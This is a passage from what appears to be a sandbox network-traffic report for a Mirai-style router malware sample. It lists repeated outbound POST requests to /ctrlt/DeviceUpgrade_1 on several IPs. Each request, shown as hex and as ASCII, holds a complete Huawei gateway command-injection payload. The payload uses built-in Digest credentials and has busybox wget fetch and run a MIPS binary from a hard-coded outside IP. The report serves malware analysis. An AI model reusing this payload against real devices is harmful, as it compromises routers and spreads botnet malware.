xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:52.837315083 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:23.037023067 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	41794	156.254.60.28	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:23.978462934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:25.541047096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:27.364780903 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:31.076375961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:38.499258041 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:53.089282036 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:23.037015915 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	56186	154.215.71.46	37215

Timestamp	Bytes transferred	Direction	Data
